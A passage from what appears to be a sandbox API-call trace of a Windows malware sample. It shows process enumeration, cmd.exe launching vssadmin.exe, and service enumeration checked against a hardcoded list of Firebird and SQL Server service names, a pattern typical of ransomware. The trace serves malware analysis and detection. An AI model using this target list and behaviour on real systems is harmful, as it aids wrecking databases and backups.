lstrlenW (lpString="svchost.exe") returned 11 [0044.357] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.358] lstrlenW (lpString="svchost.exe") returned 11 [0044.358] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.358] lstrlenW (lpString="dwm.exe") returned 7 [0044.358] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.358] lstrlenW (lpString="explorer.exe") returned 12 [0044.358] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.359] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.359] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.359] lstrlenW (lpString="taskhost.exe") returned 12 [0044.359] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.359] lstrlenW (lpString="svchost.exe") returned 11 [0044.359] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.359] lstrlenW (lpString="taskeng.exe") returned 11 [0044.359] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.360] lstrlenW (lpString="taskhost.exe") returned 12 [0044.360] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0044.360] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0044.360] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0044.360] lstrlenW (lpString="noticed.exe") returned 11 [0044.360] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0044.361] lstrlenW (lpString="uploaded.exe") returned 12 [0044.361] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0044.361] lstrlenW (lpString="hardware.exe") returned 12 [0044.361] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0044.361] lstrlenW (lpString="oracle.exe") returned 10 [0044.361] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0044.361] lstrlenW (lpString="creativity.exe") returned 14 [0044.361] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0044.362] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0044.362] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0044.362] lstrlenW (lpString="edited.exe") returned 10 [0044.362] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0044.362] lstrlenW (lpString="custody.exe") returned 11 [0044.362] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0044.363] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0044.363] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0044.363] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0044.363] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0044.363] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0044.363] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0044.363] lstrlenW (lpString="radius.exe") returned 10 [0044.363] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0044.364] lstrlenW (lpString="extensions.exe") returned 14 [0044.364] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0044.364] lstrlenW (lpString="desperate.exe") returned 13 [0044.364] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0044.364] lstrlenW (lpString="professor-mo.exe") returned 16 [0044.364] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0044.365] lstrlenW (lpString="guidance.exe") returned 12 [0044.365] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0044.365] lstrlenW (lpString="week.exe") returned 8 [0044.365] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0044.365] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0044.365] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0044.365] lstrlenW (lpString="sn featured.exe") returned 15 [0044.366] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0044.366] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0044.366] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0044.366] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0044.366] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.366] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.366] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0044.367] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0044.367] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0044.367] lstrlenW (lpString="mobsync.exe") returned 11 [0044.367] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.367] lstrlenW (lpString="cmd.exe") returned 7 [0044.367] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.367] lstrlenW (lpString="conhost.exe") returned 11 [0044.367] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.368] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.368] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.368] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.368] Process32NextW (in: hSnapshot=0x370, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0044.368] CloseHandle (hObject=0x370) returned 1 [0044.368] Sleep (dwMilliseconds=0x1f4) [0044.989] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297fe0 [0044.989] EnumServicesStatusExW (in: hSCManager=0x3297fe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0044.989] GetLastError () returned 0xea [0044.989] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x4f300d8 [0044.989] EnumServicesStatusExW (in: hSCManager=0x3297fe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f300d8, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f300d8, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0044.990] CloseServiceHandle (hSCObject=0x3297fe0) returned 1 [0044.990] lstrlenW (lpString="Appinfo") returned 7 [0044.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.990] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.990] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.990] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.991] lstrlenW (lpString="AudioSrv") returned 8 [0044.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.991] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.991] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.991] lstrlenW (lpString="BFE") returned 3 [0044.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.991] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.991] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.991] lstrlenW (lpString="CryptSvc") returned 8 [0044.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.991] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.991] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.991] lstrlenW (lpString="CscService") returned 10 [0044.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.991] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.991] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.991] lstrlenW (lpString="DcomLaunch") returned 10 [0044.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.991] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.991] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.991] lstrlenW (lpString="Dhcp") returned 4 [0044.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.992] lstrlenW (lpString="Dnscache") returned 8 [0044.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.992] lstrlenW (lpString="DPS") returned 3 [0044.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.992] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.992] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.992] lstrlenW (lpString="eventlog") returned 8 [0044.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.992] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.992] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.992] lstrlenW (lpString="EventSystem") returned 11 [0044.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.992] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.992] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.992] lstrlenW (lpString="gpsvc") returned 5 [0044.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.993] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.993] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.993] lstrlenW (lpString="iphlpsvc") returned 8 [0044.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.993] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.993] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.993] lstrlenW (lpString="LanmanServer") returned 12 [0044.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.993] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.993] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.993] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.993] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.993] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.993] lstrlenW (lpString="lmhosts") returned 7 [0044.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.993] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.993] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.993] lstrlenW (lpString="MMCSS") returned 5 [0044.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.994] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.994] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.994] lstrlenW (lpString="MpsSvc") returned 6 [0044.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.994] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.994] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.994] lstrlenW (lpString="Netman") returned 6 [0044.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.994] lstrlenW (lpString="netprofm") returned 8 [0044.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.994] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.994] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.994] lstrlenW (lpString="NlaSvc") returned 6 [0044.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.994] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.995] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.995] lstrlenW (lpString="nsi") returned 3 [0044.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.995] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.995] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.995] lstrlenW (lpString="PcaSvc") returned 6 [0044.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.995] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.995] 